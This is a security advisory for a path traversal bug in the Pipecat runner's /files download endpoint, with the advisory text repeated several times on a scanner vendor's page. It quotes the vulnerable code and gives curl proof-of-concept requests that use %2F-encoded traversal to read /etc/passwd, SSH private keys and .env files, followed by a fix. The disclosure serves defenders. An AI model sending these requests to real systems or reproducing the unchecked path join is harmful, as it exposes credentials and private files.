## Summary A path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. Confirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`. --- ## Details The vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): """Handle file downloads.""" if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return file_path = Path(args.folder) / filename # ← no containment check if not os.path.exists(file_path): raise HTTPException(404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=filename) ``` `Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal. For example: ``` GET /files/..%2F..%2Fetc%2Fpasswd ↓ filename = "../../etc/passwd" (after Starlette decodes %2F) file_path = Path("/tmp/media") / "../../etc/passwd" = Path("/tmp/media/../../etc/passwd") → resolves to /etc/passwd (os.path.exists returns True) ``` The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials. --- ## Proof of Concept ### Step 1 — Start the Pipecat runner with `--folder` The runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic: ```python # minimal_bot.py async def bot(runner_args): import asyncio await asyncio.sleep(86400) if __name__ == "__main__": from pipecat.runner.run import main main() ``` Start the runner: ```bash pip install "pipecat-ai[runner,webrtc]" mkdir /tmp/bot_media echo "session transcript" > /tmp/bot_media/recording.txt python minimal_bot.py \ -t webrtc \ --host 127.0.0.1 \ --port 7860 \ --folder /tmp/bot_media ``` Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" /> ### Step 2 — Exploit ```bash # Legitimate request — serves a file inside --folder curl "http://127.0.0.1:7860/files/recording.txt" # → session transcript # Literal ../ — blocked by Starlette path normalisation curl "http://127.0.0.1:7860/files/../../etc/passwd" # → {"detail":"Not Found"} # %2F-encoded separators — bypass normalisation, read /etc/passwd curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd" # → ## User Database # root:*:0:0:System Administrator:/var/root:/bin/sh # ... # Read SSH private key curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa" # → -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAA... # Read application secrets curl "http://127.0.0.1:7860/files/..%2F..%2F.env" ``` ### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29) | Request | HTTP status | Content | |---------|-------------|---------| | `GET /files/recording.txt` | 200 | Legitimate file | | `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away | | `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` | | `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" /> --- ## Impact The `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials. An attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process: - SSH private keys and TLS certificates - `.env` files and application credentials - Database files, session tokens, API keys - System files such as `/etc/passwd` and `/etc/shadow` (on Linux) - Source code, config files, and secrets in parent directories of `--folder` --- ## Remediation Call `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return allowed_base = Path(args.folder).resolve() file_path = (allowed_base / filename).resolve() # resolve AFTER join if not file_path.is_relative_to(allowed_base): # containment check raise HTTPException(status_code=403, detail="Access denied") if not file_path.exists(): raise HTTPException(status_code=404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=file_path.name) ``` `Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.
## Summary A path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. Confirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`. --- ## Details The vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): """Handle file downloads.""" if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return file_path = Path(args.folder) / filename # ← no containment check if not os.path.exists(file_path): raise HTTPException(404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=filename) ``` `Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal. For example: ``` GET /files/..%2F..%2Fetc%2Fpasswd ↓ filename = "../../etc/passwd" (after Starlette decodes %2F) file_path = Path("/tmp/media") / "../../etc/passwd" = Path("/tmp/media/../../etc/passwd") → resolves to /etc/passwd (os.path.exists returns True) ``` The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials. --- ## Proof of Concept ### Step 1 — Start the Pipecat runner with `--folder` The runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic: ```python # minimal_bot.py async def bot(runner_args): import asyncio await asyncio.sleep(86400) if __name__ == "__main__": from pipecat.runner.run import main main() ``` Start the runner: ```bash pip install "pipecat-ai[runner,webrtc]" mkdir /tmp/bot_media echo "session transcript" > /tmp/bot_media/recording.txt python minimal_bot.py \ -t webrtc \ --host 127.0.0.1 \ --port 7860 \ --folder /tmp/bot_media ``` Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" /> ### Step 2 — Exploit ```bash # Legitimate request — serves a file inside --folder curl "http://127.0.0.1:7860/files/recording.txt" # → session transcript # Literal ../ — blocked by Starlette path normalisation curl "http://127.0.0.1:7860/files/../../etc/passwd" # → {"detail":"Not Found"} # %2F-encoded separators — bypass normalisation, read /etc/passwd curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd" # → ## User Database # root:*:0:0:System Administrator:/var/root:/bin/sh # ... # Read SSH private key curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa" # → -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAA... # Read application secrets curl "http://127.0.0.1:7860/files/..%2F..%2F.env" ``` ### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29) | Request | HTTP status | Content | |---------|-------------|---------| | `GET /files/recording.txt` | 200 | Legitimate file | | `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away | | `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` | | `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" /> --- ## Impact The `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials. An attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process: - SSH private keys and TLS certificates - `.env` files and application credentials - Database files, session tokens, API keys - System files such as `/etc/passwd` and `/etc/shadow` (on Linux) - Source code, config files, and secrets in parent directories of `--folder` --- ## Remediation Call `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return allowed_base = Path(args.folder).resolve() file_path = (allowed_base / filename).resolve() # resolve AFTER join if not file_path.is_relative_to(allowed_base): # containment check raise HTTPException(status_code=403, detail="Access denied") if not file_path.exists(): raise HTTPException(status_code=404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=file_path.name) ``` `Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.
Update pipecat-ai to 1.2.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator affects pipecat-ai (pip). Severity is high. ## Summary A path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. Confirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`. --- ## Details The vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): """Handle file downloads.""" if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return file_path = Path(args.folder) / filename # ← no containment check if not os.path.exists(file_path): raise HTTPException(404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=filename) ``` `Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal. For example: ``` GET /files/..%2F..%2Fetc%2Fpasswd ↓ filename = "../../etc/passwd" (after Starlette decodes %2F) file_path = Path("/tmp/media") / "../../etc/passwd" = Path("/tmp/media/../../etc/passwd") → resolves to /etc/passwd (os.path.exists returns True) ``` The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials. --- ## Proof of Concept ### Step 1 — Start the Pipecat runner with `--folder` The runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic: ```python # minimal_bot.py async def bot(runner_args): import asyncio await asyncio.sleep(86400) if __name__ == "__main__": from pipecat.runner.run import main main() ``` Start the runner: ```bash pip install "pipecat-ai[runner,webrtc]" mkdir /tmp/bot_media echo "session transcript" > /tmp/bot_media/recording.txt python minimal_bot.py \ -t webrtc \ --host 127.0.0.1 \ --port 7860 \ --folder /tmp/bot_media ``` Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" /> ### Step 2 — Exploit ```bash # Legitimate request — serves a file inside --folder curl "http://127.0.0.1:7860/files/recording.txt" # → session transcript # Literal ../ — blocked by Starlette path normalisation curl "http://127.0.0.1:7860/files/../../etc/passwd" # → {"detail":"Not Found"} # %2F-encoded separators — bypass normalisation, read /etc/passwd curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd" # → ## User Database # root:*:0:0:System Administrator:/var/root:/bin/sh # ... # Read SSH private key curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa" # → -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAA... # Read application secrets curl "http://127.0.0.1:7860/files/..%2F..%2F.env" ``` ### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29) | Request | HTTP status | Content | |---------|-------------|---------| | `GET /files/recording.txt` | 200 | Legitimate file | | `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away | | `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` | | `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" /> --- ## Impact The `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials. An attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process: - SSH private keys and TLS certificates - `.env` files and application credentials - Database files, session tokens, API keys - System files such as `/etc/passwd` and `/etc/shadow` (on Linux) - Source code, config files, and secrets in parent directories of `--folder` --- ## Remediation Call `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return allowed_base = Path(args.folder).resolve() file_path = (allowed_base / filename).resolve() # resolve AFTER join if not file_path.is_relative_to(allowed_base): # containment check raise HTTPException(status_code=403, detail="Access denied") if not file_path.exists(): raise HTTPException(status_code=404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=file_path.name) ``` `Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pipecat-aipip | >=0.0.90,<1.2.0 | 1.2.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pipecat-ai to 1.2.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator affects pipecat-ai (pip). Severity is high. ## Summary A path traversal vulnerability exists in Pipecat's development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request. Confirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`. --- ## Details The vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249–264: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): """Handle file downloads.""" if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return file_path = Path(args.folder) / filename # ← no containment check if not os.path.exists(file_path): raise HTTPException(404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=filename) ``` `Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python's `pathlib` does not strip `..` segments during join — only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal. For example: ``` GET /files/..%2F..%2Fetc%2Fpasswd ↓ filename = "../../etc/passwd" (after Starlette decodes %2F) file_path = Path("/tmp/media") / "../../etc/passwd" = Path("/tmp/media/../../etc/passwd") → resolves to /etc/passwd (os.path.exists returns True) ``` The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials. --- ## Proof of Concept ### Step 1 — Start the Pipecat runner with `--folder` The runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic: ```python # minimal_bot.py async def bot(runner_args): import asyncio await asyncio.sleep(86400) if __name__ == "__main__": from pipecat.runner.run import main main() ``` Start the runner: ```bash pip install "pipecat-ai[runner,webrtc]" mkdir /tmp/bot_media echo "session transcript" > /tmp/bot_media/recording.txt python minimal_bot.py \ -t webrtc \ --host 127.0.0.1 \ --port 7860 \ --folder /tmp/bot_media ``` Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" /> ### Step 2 — Exploit ```bash # Legitimate request — serves a file inside --folder curl "http://127.0.0.1:7860/files/recording.txt" # → session transcript # Literal ../ — blocked by Starlette path normalisation curl "http://127.0.0.1:7860/files/../../etc/passwd" # → {"detail":"Not Found"} # %2F-encoded separators — bypass normalisation, read /etc/passwd curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd" # → ## User Database # root:*:0:0:System Administrator:/var/root:/bin/sh # ... # Read SSH private key curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa" # → -----BEGIN OPENSSH PRIVATE KEY----- # b3BlbnNzaC1rZXktdjEAAAA... # Read application secrets curl "http://127.0.0.1:7860/files/..%2F..%2F.env" ``` ### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29) | Request | HTTP status | Content | |---------|-------------|---------| | `GET /files/recording.txt` | 200 | Legitimate file | | `GET /files/../../etc/passwd` | 404 | Blocked — literal `..` normalised away | | `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` | | `GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" /> --- ## Impact The `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials. An attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process: - SSH private keys and TLS certificates - `.env` files and application credentials - Database files, session tokens, API keys - System files such as `/etc/passwd` and `/etc/shadow` (on Linux) - Source code, config files, and secrets in parent directories of `--folder` --- ## Remediation Call `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`: ```python @app.get("/files/{filename:path}") async def download_file(filename: str): if not args.folder: logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.") return allowed_base = Path(args.folder).resolve() file_path = (allowed_base / filename).resolve() # resolve AFTER join if not file_path.is_relative_to(allowed_base): # containment check raise HTTPException(status_code=403, detail="Access denied") if not file_path.exists(): raise HTTPException(status_code=404) media_type, _ = mimetypes.guess_type(file_path) return FileResponse(path=file_path, media_type=media_type, filename=file_path.name) ``` `Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pipecat-aipip | >=0.0.90,<1.2.0 | 1.2.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
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